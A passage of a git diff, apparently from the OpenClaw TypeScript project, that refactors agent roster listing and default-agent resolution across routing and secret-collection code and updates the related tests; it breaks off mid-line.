{ const providerNormalized = normalizeModelProviderConfigsForWrite(cfg, providerConfigNormalizer); const defaults = providerNormalized.agents?.defaults; - const agentsList = providerNormalized.agents?.list; + const agentsList = listAgentEntries(providerNormalized); + const roster = readAgentRosterProperty(providerNormalized); let nextDefaults = defaults; if (defaults) { @@ -295,7 +301,11 @@ function normalizeConfigModelRefsForWrite( agents: { ...providerNormalized.agents, ...(nextDefaults ? { defaults: nextDefaults } : {}), - ...(nextAgentsList !== undefined ? { list: nextAgentsList as typeof agentsList } : {}), + ...(nextAgentsList !== agentsList && roster?.kind === "entries" + ? { entries: toAgentEntriesRecord(nextAgentsList as typeof agentsList) } + : nextAgentsList !== agentsList && roster?.kind === "list" + ? { list: nextAgentsList as typeof agentsList } + : {}), }, }; } diff --git a/src/routing/resolve-route.ts b/src/routing/resolve-route.ts index 1c9f9bfb47c6..04cd63d21c24 100644 --- a/src/routing/resolve-route.ts +++ b/src/routing/resolve-route.ts @@ -1,6 +1,6 @@ // Route resolution helpers map user targets to configured channel routes. import { normalizeLowercaseStringOrEmpty } from "@openclaw/normalization-core/string-coerce"; -import { resolveDefaultAgentId } from "../agents/agent-scope.js"; +import { listAgentEntries, resolveDefaultAgentId } from "../agents/agent-scope.js"; import type { ChatType } from "../channels/chat-type.js"; import { normalizeChatType } from "../channels/chat-type.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; @@ -117,8 +117,7 @@ export function buildAgentSessionKey(params: { } function listAgents(cfg: OpenClawConfig) { - const agents = cfg.agents?.list; - return Array.isArray(agents) ? agents : []; + return listAgentEntries(cfg); } type AgentLookupCache = { diff --git a/src/routing/session-key.test.ts b/src/routing/session-key.test.ts index fead72ecc706..9246b650e5a0 100644 --- a/src/routing/session-key.test.ts +++ b/src/routing/session-key.test.ts @@ -1,5 +1,7 @@ // Routing session key tests cover route-derived session key behavior. -import { describe, expect, it } from "vitest"; +import { describe, expect, it, vi } from "vitest"; + +vi.unmock("./session-key.js"); import { resolveSessionStoreAgentId, resolveSessionStoreKey, @@ -18,6 +20,7 @@ import { classifySessionKeyShape, isValidAgentId, parseAgentSessionKey, + resolveAgentIdFromSessionKey, resolveEventSessionKey, scopedHeartbeatWakeOptions, isUnscopedSessionKeySentinel, @@ -25,6 +28,19 @@ import { toAgentStoreSessionKey, } from "./session-key.js"; +describe("agent id session-key boundary", () => { + it("keeps legacy keys absent at parse time and resolves them only with a configured default", () => { + expect(parseAgentSessionKey("main")?.agentId).toBeUndefined(); + expect(() => resolveAgentIdFromSessionKey("main")).toThrow("configured default agent"); + expect(() => resolveAgentIdFromSessionKey("main", " ")).toThrow("configured default agent"); + expect(resolveAgentIdFromSessionKey("main", "primary")).toBe("primary"); + expect(resolveAgentIdFromSessionKey("agent:worker:main", "primary")).toBe("worker"); + expect(() => resolveAgentIdFromSessionKey("agent::secret", "primary")).toThrow( + "Malformed agent session key", + ); + }); +}); + describe("classifySessionKeyShape", () => { it.each([ { input: undefined, expected: "missing" }, diff --git a/src/routing/session-key.ts b/src/routing/session-key.ts index 715ede576f74..c591ea3b9e52 100644 --- a/src/routing/session-key.ts +++ b/src/routing/session-key.ts @@ -29,7 +29,10 @@ export { } from "./account-id.js"; export { isValidAgentId, normalizeAgentId }; -export const DEFAULT_AGENT_ID = "main"; +/** Legacy on-disk identity used only by doctor/migration and their fixtures. */ +export const LEGACY_IMPLICIT_AGENT_ID = "main"; +/** @deprecated legacy implicit agent id; use roster default resolution. Removal: next major SDK cut. */ +export const DEFAULT_AGENT_ID = LEGACY_IMPLICIT_AGENT_ID; export const DEFAULT_MAIN_KEY = "main"; const INCOGNITO_SESSION_RE = /^(?:dashboard|subagent|internal-session-effects):incognito-[^:]+$/u; type SessionKeyShape = "missing" | "agent" | "legacy_or_alias" | "malformed_agent"; @@ -128,9 +131,24 @@ export function toAgentStoreSessionKey(params: { return `agent:${normalizeAgentId(params.agentId)}:${normalized}`; } -export function resolveAgentIdFromSessionKey(sessionKey: string | undefined | null): string { +export function resolveAgentIdFromSessionKey( + sessionKey: string | undefined | null, + configuredDefaultAgentId?: string, +): string { const parsed = parseAgentSessionKey(sessionKey); - return normalizeAgentId(parsed?.agentId ?? DEFAULT_AGENT_ID); + if (parsed?.agentId) { + return normalizeAgentId(parsed.agentId); + } + if (classifySessionKeyShape(sessionKey) === "malformed_agent") { + throw new Error("Malformed agent session key; refusing default-agent resolution."); + } + const configuredDefault = configuredDefaultAgentId?.trim(); + if (configuredDefault) { + return normalizeAgentId(configuredDefault); + } + throw new Error( + "Session key does not contain an agent id; resolve it with the configured default agent.", + ); } export function classifySessionKeyShape(sessionKey: string | undefined | null): SessionKeyShape { diff --git a/src/secrets/channel-contract-api.fast-path.test.ts b/src/secrets/channel-contract-api.fast-path.test.ts index 8cc678abd68b..501963c34bf1 100644 --- a/src/secrets/channel-contract-api.fast-path.test.ts +++ b/src/secrets/channel-contract-api.fast-path.test.ts @@ -2,7 +2,7 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; const { loadPluginMetadataSnapshotMock } = vi.hoisted(() => ({ - loadPluginMetadataSnapshotMock: vi.fn(() => ({ plugins: [] })), + loadPluginMetadataSnapshotMock: vi.fn((_params: unknown) => ({ plugins: [] })), })); const { loadBundledPluginPublicArtifactModuleSyncMock } = vi.hoisted(() => ({ loadBundledPluginPublicArtifactModuleSyncMock: vi.fn( @@ -69,5 +69,6 @@ describe("channel contract api explicit fast path", () => { artifactBasename: "contract-api.js", }); expect(loadPluginMetadataSnapshotMock).toHaveBeenCalledTimes(1); + expect(loadPluginMetadataSnapshotMock.mock.calls[0]?.[0]).not.toHaveProperty("workspaceDir"); }); }); diff --git a/src/secrets/channel-contract-api.ts b/src/secrets/channel-contract-api.ts index b03b652955a6..e1bd9b334648 100644 --- a/src/secrets/channel-contract-api.ts +++ b/src/secrets/channel-contract-api.ts @@ -2,7 +2,11 @@ import fs from "node:fs"; import path from "node:path"; import { fileURLToPath } from "node:url"; -import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "../agents/agent-scope.js"; +import { + listAgentEntries, + resolveAgentWorkspaceDir, + resolveDefaultAgentId, +} from "../agents/agent-scope.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { openRootFileSync } from "../infra/boundary-file-read.js"; import { shouldRejectHardlinkedPluginFiles } from "../plugins/hardlink-policy.js"; @@ -156,14 +160,15 @@ function listChannelSecretContractRecords(params: { env: NodeJS.ProcessEnv; loadablePluginOrigins?: ReadonlyMap; }): PluginManifestRecord[] { - const workspaceDir = resolveAgentWorkspaceDir( - params.config, - resolveDefaultAgentId(params.config), - params.env, - ); + // Static target-registry compilation intentionally has no runtime config. + // External plugin discovery can proceed without a workspace scan in that case. + const workspaceDir = + listAgentEntries(params.config).length > 0 + ? resolveAgentWorkspaceDir(params.config, resolveDefaultAgentId(params.config), params.env) + : undefined; const snapshot = loadPluginMetadataSnapshot({ config: params.config, - workspaceDir, + ...(workspaceDir ? { workspaceDir } : {}), env: params.env, }); return snapshot.plugins diff --git a/src/secrets/runtime-config-collectors-core.ts b/src/secrets/runtime-config-collectors-core.ts index 31bbc8f46e85..9080bd4c6dfa 100644 --- a/src/secrets/runtime-config-collectors-core.ts +++ b/src/secrets/runtime-config-collectors-core.ts @@ -1,5 +1,6 @@ /** Collects core config secret refs during runtime preparation. */ import { normalizeOptionalLowercaseString } from "@openclaw/normalization-core/string-coerce"; +import { listAgentEntriesWithSource } from "../agents/agent-scope-config.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { MediaUnderstandingModelConfig } from "../config/types.tools.js"; import { @@ -500,18 +501,16 @@ function collectAgentTtsAssignments(params: { defaults: SecretDefaults | undefined; context: ResolverContext; }): void { - const agents = params.config.agents as Record | undefined; - const entries = isRecord(agents?.entries) ? agents.entries : undefined; - if (!entries) { - return; - } - for (const [entryId, entry] of Object.entries(entries)) { - if (!isRecord(entry) || !isRecord(entry.tts)) { + for (const { entry, source } of listAgentEntriesWithSource(params.config)) { + if (!isRecord(entry.tts)) { continue; } collectTtsApiKeyAssignments({ tts: entry.tts, - pathPrefix: `agents.entries.${entryId}.tts`, + pathPrefix: + source.kind === "entries" + ? `agents.entries.${source.key}.tts` + : `agents.list.${source.index}.tts`, defaults: params.defaults, context: params.context, }); diff --git a/src/secrets/runtime-config-collectors-memory.ts b/src/secrets/runtime-config-collectors-memory.ts index b923d3ceaf40..8e18ea5bf46d 100644 --- a/src/secrets/runtime-config-collectors-memory.ts +++ b/src/secrets/runtime-config-collectors-memory.ts @@ -1,6 +1,11 @@ /** Collects per-agent memory search secret refs from runtime config. */ +import { + hasAgentRosterProperty, + type ListedAgentEntry, + listAgentEntriesWithSource, +} from "../agents/agent-scope-config.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { DEFAULT_AGENT_ID, normalizeAgentId } from "../routing/session-key.js"; +import { LEGACY_IMPLICIT_AGENT_ID, normalizeAgentId } from "../routing/session-key.js"; import { runtimeMemorySecretOwnerId } from "./runtime-memory-secret-owner.js"; import { collectRuntimeSecretInputAssignment, @@ -16,41 +21,34 @@ export function collectAgentMemorySearchAssignments(params: { defaults: SecretDefaults | undefined; context: ResolverContext; }): void { - const agents = params.config.agents as Record | undefined; const memory = params.config.memory as Record | undefined; const defaultsMemorySearch = isRecord(memory?.search) ? memory.search : undefined; - const canonicalEntries = isRecord(agents?.entries) ? Object.entries(agents.entries) : []; - const legacyEntries = Array.isArray(agents?.list) - ? agents.list.flatMap((value, index) => { - if (!isRecord(value)) { - return []; - } - const id = typeof value.id === "string" ? value.id : String(index); - return [[id, value, "list", String(index)] as const]; - }) - : []; - const entries = - canonicalEntries.length > 0 - ? canonicalEntries.map(([id, value]) => [id, value, "entries", id] as const) - : legacyEntries; + const configuredEntries = listAgentEntriesWithSource(params.config); + const entries: ListedAgentEntry[] = + configuredEntries.length === 0 && !hasAgentRosterProperty(params.config) + ? [ + { + entry: { id: LEGACY_IMPLICIT_AGENT_ID, default: true }, + source: { kind: "entries", key: LEGACY_IMPLICIT_AGENT_ID }, + }, + ] + : configuredEntries; const defaultRemote = isRecord(defaultsMemorySearch?.remote) ? defaultsMemorySearch.remote : undefined; const defaultHeaders = isRecord(defaultRemote?.headers) ? defaultRemote.headers : undefined; let defaultApiKeyAssignmentCollected = false; const collectedDefaultHeaderKeys = new Set(); - const collectForAgent = ( - rawAgent: Record | undefined, - entryId?: string, - container = "entries", - pathId = entryId, - ) => { - const agentMemory = isRecord(rawAgent?.memory) ? rawAgent.memory : undefined; + const collectForAgent = ({ entry: rawAgent, source }: ListedAgentEntry) => { + const rawAgentRecord = rawAgent as unknown as Record; + const agentMemory = isRecord(rawAgentRecord.memory) ? rawAgentRecord.memory : undefined; const memorySearch = isRecord(agentMemory?.search) ? agentMemory.search : undefined; const remote = isRecord(memorySearch?.remote) ? memorySearch.remote : undefined; - const agentId = normalizeAgentId(entryId ?? DEFAULT_AGENT_ID); + const agentId = normalizeAgentId(rawAgent.id); + const agentPath = + source.kind === "entries" ? `agents.entries.${source.key}` : `agents.list.${source.index}`; const active = - rawAgent?.enabled !== false && + rawAgentRecord.enabled !== false && (memorySearch?.enabled ?? defaultsMemorySearch?.enabled ?? true) !== false; const owner = { ownerKind: "capability", @@ -60,7 +58,7 @@ export function collectAgentMemorySearchAssignments(params: { contract: { defaults: defaultsMemorySearch, override: memorySearch, - agentEnabled: rawAgent?.enabled, + agentEnabled: rawAgentRecord.enabled, }, } satisfies SecretAssignmentOwner; @@ -70,7 +68,7 @@ export function collectAgentMemorySearchAssignments(params: { collectRuntimeSecretInputAssignment({ value: apiKeyTarget.apiKey, path: hasApiKeyOverride - ? `agents.${container}.${pathId}.memory.search.remote.apiKey` + ? `${agentPath}.memory.search.remote.apiKey` : "memory.search.remote.apiKey", expected: "string", defaults: params.defaults, @@ -96,7 +94,7 @@ export function collectAgentMemorySearchAssignments(params: { collectRuntimeSecretInputAssignment({ value: headerValue, path: overrideHeaders - ? `agents.${container}.${pathId}.memory.search.remote.headers.${headerKey}` + ? `${agentPath}.memory.search.remote.headers.${headerKey}` : `memory.search.remote.headers.${headerKey}`, expected: "string", defaults: params.defaults, @@ -114,15 +112,7 @@ export function collectAgentMemorySearchAssignments(params: { } }; - if (entries.length === 0) { - collectForAgent(undefined); - } else { - entries.forEach(([entryId, rawAgent, container, pathId]) => { - if (isRecord(rawAgent)) { - collectForAgent(rawAgent, entryId, container, pathId); - } - }); - } + entries.forEach(collectForAgent); if (defaultRemote && !defaultApiKeyAssignmentCollected) { collectRuntimeSecretInputAssignment({ diff --git a/src/secrets/runtime-config-collectors-plugins.bundled.test.ts b/src/secrets/runtime-config-collectors-plugins.bundled.test.ts index 658ece5459b5..62d7c57748cd 100644 --- a/src/secrets/runtime-config-collectors-plugins.bundled.test.ts +++ b/src/secrets/runtime-config-collectors-plugins.bundled.test.ts @@ -12,6 +12,10 @@ function envRef(id: string) { return { source: "env" as const, provider: "default", id }; } +const explicitMainRoster: NonNullable = { + list: [{ id: "main", default: true }], +}; + describe("collectPluginConfigAssignments bundled plugin manifests", () => { it("assigns each webhooks route SecretRef to its exact runtime owner", () => { expect( @@ -21,6 +25,7 @@ describe("collectPluginConfigAssignments bundled plugin manifests", () => { })?.manifest.configContracts?.secretInputs?.paths, ).toEqual([{ path: "routes.*.secret", expected: "string", ownerKind: "route" }]); const config = { + agents: explicitMainRoster, plugins: { entries: { webhooks: { @@ -68,6 +73,7 @@ describe("collectPluginConfigAssignments bundled plugin manifests", () => { { path: "appServer.headers.*", expected: "string" }, ]); const config = { + agents: explicitMainRoster, plugins: { entries: { codex: { @@ -150,6 +156,7 @@ describe("collectPluginConfigAssignments bundled plugin manifests", () => { { path: "tts.providers.*.apiKey", expected: "string" }, ]); const config = { + agents: explicitMainRoster, plugins: { entries: { "voice-call": { @@ -235,6 +242,7 @@ describe("collectPluginConfigAssignments bundled plugin manifests", () => { new URL("../../extensions/google-meet", import.meta.url), ); const config = { + agents: explicitMainRoster, plugins: { load: { paths: [googleMeetPluginDir] }, entries: { diff --git a/src/secrets/runtime-config-collectors-plugins.test.ts b/src/secrets/runtime-config-collectors-plugins.test.ts index d5e1bfde8b73..ccc6e122c6fc 100644 --- a/src/secrets/runtime-config-collectors-plugins.test.ts +++ b/src/secrets/runtime-config-collectors-plugins.test.ts @@ -23,7 +23,10 @@ vi.mock("../plugins/bundled-plugin-metadata.js", () => ({ })); function asConfig(value: unknown): OpenClawConfig { - return value as OpenClawConfig; + return { + agents: { list: [{ id: "main", default: true }] }, + ...(value as OpenClawConfig), + }; } function makeContext(sourceConfig: OpenClawConfig): ResolverContext { diff --git a/src/secrets/runtime-config-collectors-plugins.ts b/src/secrets/runtime-config-collectors-plugins.ts index 0251ac0d2081..d54bb7f378a6 100644 --- a/src/secrets/runtime-config-collectors-plugins.ts +++ b/src/secrets/runtime-config-collectors-plugins.ts @@ -51,6 +51,7 @@ export function collectPluginConfigAssignments(params: { const workspaceDir = resolveAgentWorkspaceDir( params.config, resolveDefaultAgentId(params.config), + params.context.env, ); const bundledLoadablePluginIds = [...(params.loadablePluginOrigins?.entries() ?? [])] .filter(([, origin]) => origin === "bundled") diff --git a/src/secrets/runtime-config-collectors-sandbox.ts b/src/secrets/runtime-config-collectors-sandbox.ts index db8278a8b81b..90ce08e721e5 100644 --- a/src/secrets/runtime-config-collectors-sandbox.ts +++ b/src/secrets/runtime-config-collectors-sandbox.ts @@ -1,8 +1,9 @@ /** Collects agent-scoped sandbox SSH SecretRefs during runtime preparation. */ import { normalizeOptionalLowercaseString } from "@openclaw/normalization-core/string-coerce"; +import { listAgentEntriesWithSource, resolveDefaultAgentId } from "../agents/agent-scope-config.js"; import { resolveSandboxScope } from "../agents/sandbox/config.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { DEFAULT_AGENT_ID, normalizeAgentId } from "../routing/session-key.js"; +import { normalizeAgentId } from "../routing/session-key.js"; import { runtimeSandboxSecretOwnerId } from "./runtime-sandbox-secret-owner.js"; import { collectRuntimeSecretInputAssignment, @@ -66,29 +67,25 @@ export function collectAgentSandboxAssignments(params: { const defaultsSandbox = isRecord(defaultsAgent?.sandbox) ? defaultsAgent.sandbox : undefined; const defaultsSsh = isRecord(defaultsSandbox?.ssh) ? defaultsSandbox.ssh : undefined; const defaultsBackend = normalizeOptionalLowercaseString(defaultsSandbox?.backend) ?? "docker"; - const rawEntries = isRecord(agents.entries) ? agents.entries : {}; - const configuredAgents: Array<{ entry: Record; entryId: string }> = []; - Object.entries(rawEntries).forEach(([entryId, entry]) => { - if (isRecord(entry)) { - configuredAgents.push({ entry, entryId }); - } - }); - const candidates: Array<{ - entry: Record | undefined; - entryId: string | undefined; - }> = configuredAgents.length > 0 ? configuredAgents : [{ entry: undefined, entryId: undefined }]; + const candidates = listAgentEntriesWithSource(params.config).map(({ entry, source }) => ({ + entry, + entryId: entry.id, + agentPath: + source.kind === "entries" ? `agents.entries.${source.key}` : `agents.list.${source.index}`, + })); const activeDefaultKeys = new Set(); const seenAgentIds = new Set(); for (const candidate of candidates) { const rawAgent = candidate.entry; - const agentId = normalizeAgentId(candidate.entryId ?? DEFAULT_AGENT_ID); + const rawAgentRecord = rawAgent as unknown as Record; + const agentId = normalizeAgentId(candidate.entryId); if (seenAgentIds.has(agentId)) { continue; } seenAgentIds.add(agentId); - const sandbox = isRecord(rawAgent?.sandbox) ? rawAgent.sandbox : undefined; + const sandbox = isRecord(rawAgentRecord.sandbox) ? rawAgentRecord.sandbox : undefined; const ssh = isRecord(sandbox?.ssh) ? sandbox.ssh : undefined; const backend = normalizeOptionalLowercaseString(sandbox?.backend) ?? @@ -115,7 +112,7 @@ export function collectAgentSandboxAssignments(params: { const owner = sandboxSecretOwner(agentId, { defaults: defaultsSandbox, override: sandbox, - agentEnabled: rawAgent?.enabled, + agentEnabled: rawAgentRecord.enabled, }); for (const key of SANDBOX_SSH_SECRET_KEYS) { @@ -125,7 +122,7 @@ export function collectAgentSandboxAssignments(params: { collectAssignment({ target: ssh, key, - path: `agents.entries.${candidate.entryId}.sandbox.ssh.${key}`, + path: `${candidate.agentPath}.sandbox.ssh.${key}`, defaults: params.defaults, context: params.context, active, @@ -137,7 +134,7 @@ export function collectAgentSandboxAssignments(params: { collectAssignment({ target: ssh, key, - path: `agents.entries.${candidate.entryId}.sandbox.ssh.${key}`, + path: `${candidate.agentPath}.sandbox.ssh.${key}`, defaults: params.defaults, context: params.context, active: false, @@ -184,7 +181,9 @@ export function collectAgentSandboxAssignments(params: { context: params.context, active, inactiveReason: "no enabled agent uses the sandbox SSH material.", - owner: sandboxSecretOwner(DEFAULT_AGENT_ID, { defaults: defaultsSandbox }), + owner: sandboxSecretOwner(resolveDefaultAgentId(params.config), { + defaults: defaultsSandbox, + }), }); } } diff --git a/src/secrets/runtime-fast-path.ts b/src/secrets/runtime-fast-path.ts index 96ad2cc3f001..ceaed1db0d01 100644 --- a/src/secrets/runtime-fast-path.ts +++ b/src/secrets/runtime-fast-path.ts @@ -15,7 +15,7 @@ import { import { getRuntimeAuthProfileStoreCredentialsRevision } from "../agents/auth-profiles/runtime-snapshots.js"; import { resolveAuthProfileDatabasePath } from "../agents/auth-profiles/sqlite.js"; import type { AuthProfileStore } from "../agents/auth-profiles/types.js"; -import { resolveOAuthPath } from "../config/paths.js"; +import { resolveOAuthPath, resolveStateDir } from "../config/paths.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { PluginManifestRegistry } from "../plugins/manifest-registry.js"; import type { PluginOrigin } from "../plugins/plugin-origin.types.js"; @@ -116,7 +116,14 @@ function hasCandidateAuthProfileStoreSources(params: { agentDirs?: string[]; }): boolean { const candidateDirs = resolveCandidateAgentDirs(params); - const mainAgentDir = resolveUserPath(resolveDefaultAgentDir({}, params.env), params.env); + // The shipped no-argument auth store is fixed at agents/main/agent even when + // another roster entry is default, so the fast path must probe it separately. + const mainAgentDir = path.join( + resolveStateDir(params.env as NodeJS.ProcessEnv), + "agents", + "main", + "agent", + ); return ( candidateDirs.some((agentDir) => hasCandidateAuthProfileStoreSource(agentDir)) || hasCandidateAuthProfileStoreSource(mainAgentDir) || diff --git a/src/secrets/runtime-provider-and-media-surfaces.test.ts b/src/secrets/runtime-provider-and-media-surfaces.test.ts index f0236ef93d39..91174f8c3071 100644 --- a/src/secrets/runtime-provider-and-media-surfaces.test.ts +++ b/src/secrets/runtime-provider-and-media-surfaces.test.ts @@ -171,6 +171,7 @@ describe("secrets runtime provider and media surfaces", () => { }; try { const config = asConfig({ + agents: { list: [{ id: "main", default: true }] }, secrets: { providers: { default: { source: "file", path: secretsPath, mode: "json" }, @@ -247,6 +248,7 @@ describe("secrets runtime provider and media surfaces", () => { it("patches env shorthand model refs into the pinned runtime config", async () => { const config = asConfig({ + agents: { list: [{ id: "main", default: true }] }, models: { providers: { openai: { @@ -299,7 +301,10 @@ describe("secrets runtime provider and media surfaces", () => { }); it("retries provider auth publication after a queued runtime config mutation", async () => { - const initialConfig = asConfig({ gateway: { port: 19_040 } }); + const initialConfig = asConfig({ + agents: { list: [{ id: "main", default: true }] }, + gateway: { port: 19_040 }, + }); const initial = await prepareSecretsRuntimeSnapshot({ config: initialConfig, agentDirs: ["/tmp/openclaw-agent-main"], diff --git a/src/secrets/runtime.fast-path.test.ts b/src/secrets/runtime.fast-path.test.ts index e3090d047f31..6f21effc421a 100644 --- a/src/secrets/runtime.fast-path.test.ts +++ b/src/secrets/runtime.fast-path.test.ts @@ -3,7 +3,6 @@ import { mkdirSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import path from "node:path"; import { afterEach, describe, expect, it, vi } from "vitest"; -import { resolveDefaultAgentDir } from "../agents/agent-scope-config.js"; import type { AuthProfileStore } from "../agents/auth-profiles.js"; import { saveAuthProfileStore } from "../agents/auth-profiles/store.js"; import { clearConfigCache, clearRuntimeConfigSnapshot } from "../config/config.js"; @@ -27,6 +26,10 @@ const { resolveRuntimeWebToolsMock, runtimePrepareImportMock } = vi.hoisted(() = runtimePrepareImportMock: vi.fn(), })); +function explicitMainRoster() { + return { agents: { list: [{ id: "main", default: true }] } }; +} + vi.mock("./runtime-prepare.runtime.js", () => { runtimePrepareImportMock(); return { @@ -101,6 +104,7 @@ describe("secrets runtime fast path", () => { const snapshot = await prepareSecretsRuntimeSnapshot({ config: asConfig({ + ...explicitMainRoster(), gateway: { auth: { mode: "token", @@ -128,6 +132,7 @@ describe("secrets runtime fast path", () => { const snapshot = await prepareSecretsRuntimeSnapshot({ config: asConfig({ + ...explicitMainRoster(), tools: { web: { fetch: { @@ -157,6 +162,7 @@ describe("secrets runtime fast path", () => { await prepareSecretsRuntimeSnapshot({ config: asConfig({ + ...explicitMainRoster(), tools: { web: { fetch: { @@ -178,7 +184,7 @@ describe("secrets runtime fast path", () => { const { prepareSecretsRuntimeSnapshot } = await import("./runtime.js"); await prepareSecretsRuntimeSnapshot({ - config: asConfig({}), + config: asConfig(explicitMainRoster()), env: {}, agentDirs: ["/tmp/openclaw-agent-main"], loadAuthStore: () => ({ @@ -201,6 +207,7 @@ describe("secrets runtime fast path", () => { await prepareSecretsRuntimeSnapshot({ config: asConfig({ + ...explicitMainRoster(), tools: { web: { fetch: { @@ -248,7 +255,7 @@ describe("secrets runtime fast path", () => { HOME: root, OPENCLAW_STATE_DIR: root, }; - const mainAgentDir = resolveDefaultAgentDir({}, env); + const mainAgentDir = path.join(root, "agents", "main", "agent"); const agentDir = path.join(root, "custom-agent"); mkdirSync(agentDir, { recursive: true }); setup(env, mainAgentDir, agentDir); @@ -257,7 +264,7 @@ describe("secrets runtime fast path", () => { const snapshot = prepareSecretsRuntimeFastPathSnapshot({ config: asConfig({ agents: { - list: [{ id: "default", agentDir }], + list: [{ id: "default", agentDir, default: true }], }, }), env, @@ -286,7 +293,7 @@ describe("secrets runtime fast path", () => { const fastPath = prepareSecretsRuntimeFastPathSnapshot({ config: asConfig({ agents: { - list: [{ id: "default", agentDir }], + list: [{ id: "default", agentDir, default: true }], }, }), env, @@ -332,7 +339,7 @@ describe("secrets runtime fast path", () => { }; const config = (port: number) => asConfig({ - agents: { list: [{ id: "default", agentDir }] }, + agents: { list: [{ id: "default", agentDir, default: true }] }, gateway: { port }, }); const initialSnapshot = await prepareSecretsRuntimeSnapshot({ @@ -385,7 +392,9 @@ describe("secrets runtime fast path", () => { return getRuntimeAuthProfileStoreSnapshot(agentDir) ?? oldStore; }; const initial = await prepareSecretsRuntimeSnapshot({ - config: asConfig({ agents: { list: [{ id: "default", agentDir }] } }), + config: asConfig({ + agents: { list: [{ id: "default", agentDir, default: true }] }, + }), agentDirs: [agentDir], loadAuthStore, }); @@ -419,7 +428,7 @@ describe("secrets runtime fast path", () => { }); const config = (port: number) => asConfig({ - agents: { list: [{ id: "default", agentDir }] }, + agents: { list: [{ id: "default", agentDir, default: true }] }, gateway: { port }, }); const initial = await prepareSecretsRuntimeSnapshot({ @@ -469,7 +478,7 @@ describe("secrets runtime fast path", () => { const fastPath = prepareSecretsRuntimeFastPathSnapshot({ config: asConfig({ agents: { - list: [{ id: "default", agentDir }], + list: [{ id: "default", agentDir, default: true }], }, }), env, diff --git a/src/secrets/runtime.test.ts b/src/secrets/runtime.test.ts index 064e9da63a19..9815ff8a9b41 100644 --- a/src/secrets/runtime.test.ts +++ b/src/secrets/runtime.test.ts @@ -18,6 +18,10 @@ const BUNDLED_WEBHOOKS_PLUGIN_ORIGINS = new Map([["webhooks", "bundled" as const const { prepareSecretsRuntimeSnapshot } = setupSecretsRuntimeSnapshotTestHooks(); const tempDirs = useAutoCleanupTempDirTracker(afterEach); +function explicitMainRoster() { + return { agents: { list: [{ id: "main", default: true }] } }; +} + const CODEX_APP_SERVER_TOKEN_REF = { source: "env", provider: "default", @@ -52,6 +56,7 @@ describe("secrets runtime snapshot", () => { const ref = (id: string) => ({ source: "env" as const, provider: "default", id }); const config = (firstId: string) => asConfig({ + ...explicitMainRoster(), models: { providers: { first: { @@ -108,6 +113,7 @@ describe("secrets runtime snapshot", () => { }; const config = (apiKey: typeof canonicalRef | string) => asConfig({ + ...explicitMainRoster(), models: { providers: { first: { @@ -148,6 +154,7 @@ describe("secrets runtime snapshot", () => { const ref = (id: string) => ({ source: "env" as const, provider: "default", id }); const config = (firstId: string) => asConfig({ + ...explicitMainRoster(), models: { providers: { first: { @@ -207,6 +214,7 @@ describe("secrets runtime snapshot", () => { }; const config = (baseUrl: string) => asConfig({ + ...explicitMainRoster(), models: { providers: { first: { apiKey: apiKeyRef, baseUrl, models: [] }, @@ -250,6 +258,7 @@ describe("secrets runtime snapshot", () => { } as const; const snapshot = await prepareSecretsRuntimeSnapshot({ config: asConfig({ + ...explicitMainRoster(), skills: { entries: { cold: { apiKey: missingRef }, @@ -289,6 +298,7 @@ describe("secrets runtime snapshot", () => { } as const; const snapshot = await prepareSecretsRuntimeSnapshot({ config: asConfig({ + ...explicitMainRoster(), plugins: { entries: { webhooks: { @@ -356,6 +366,7 @@ describe("secrets runtime snapshot", () => { const secret = "runtime-registration-secret"; await prepareSecretsRuntimeSnapshot({ config: asConfig({ + ...explicitMainRoster(), talk: { apiKey: { source: "env", provider: "default", id: "TALK_API_KEY" }, }, @@ -372,6 +383,7 @@ describe("secrets runtime snapshot", () => { const secret = "test-secret"; await prepareSecretsRuntimeSnapshot({ config: asConfig({ + ...explicitMainRoster(), tts: { providers: { elevenlabs: { apiKey: TTS_REF } } }, }), env: { ELEVENLABS_API_KEY: secret }, @@ -386,6 +398,7 @@ describe("secrets runtime snapshot", () => { const snapshot = await prepareSecretsRuntimeSnapshot({ config: asConfig({ agents: { + list: [{ id: "main", default: true }], defaults: { sandbox: { mode: "all", @@ -434,8 +447,10 @@ describe("secrets runtime snapshot", () => { ssh: { target: "peter@example.com:22" }, }, }, - entries: { - worker: { + list: [ + { + id: "worker", + default: true, enabled: false, sandbox: { ssh: { @@ -447,7 +462,7 @@ describe("secrets runtime snapshot", () => { }, }, }, - }, + ], }, }), env: { DISABLED_WORKER_SSH_IDENTITY: "DISABLED WORKER PRIVATE KEY" }, @@ -455,7 +470,7 @@ describe("secrets runtime snapshot", () => { loadablePluginOrigins: EMPTY_LOADABLE_PLUGIN_ORIGINS, }); - expect(snapshot.config.agents?.entries?.worker?.sandbox?.ssh?.identityData).toBe( + expect(snapshot.config.agents?.list?.[0]?.sandbox?.ssh?.identityData).toBe( "DISABLED WORKER PRIVATE KEY", ); }); @@ -480,6 +495,7 @@ describe("secrets runtime snapshot", () => { }, entries: { worker: { + default: true, sandbox: { ssh: { identityData: { @@ -529,7 +545,7 @@ describe("secrets runtime snapshot", () => { }, }, entries: { - cold: {}, + cold: { default: true }, healthy: { sandbox: { ssh: { @@ -572,6 +588,7 @@ describe("secrets runtime snapshot", () => { const snapshot = await prepareSecretsRuntimeSnapshot({ config: asConfig({ agents: { + list: [{ id: "main", default: true }], defaults: { sandbox: { mode: "all", @@ -603,6 +620,7 @@ describe("secrets runtime snapshot", () => { it("resolves active bundled Codex app-server plugin SecretRefs", async () => { const snapshot = await prepareSecretsRuntimeSnapshot({ config: asConfig({ + ...explicitMainRoster(), plugins: { entries: { codex: { @@ -645,6 +663,7 @@ describe("secrets runtime snapshot", () => { await expect( prepareSecretsRuntimeSnapshot({ config: asConfig({ + ...explicitMainRoster(), plugins: { entries: { codex: { @@ -675,6 +694,7 @@ describe("secrets runtime snapshot", () => { it("isolates the TTS owner when its SecretRef is missing during cold startup", async () => { const snapshot = await prepareSecretsRuntimeSnapshot({ config: asConfig({ + ...explicitMainRoster(), tts: { providers: { elevenlabs: { @@ -717,6 +737,7 @@ describe("secrets runtime snapshot", () => { const 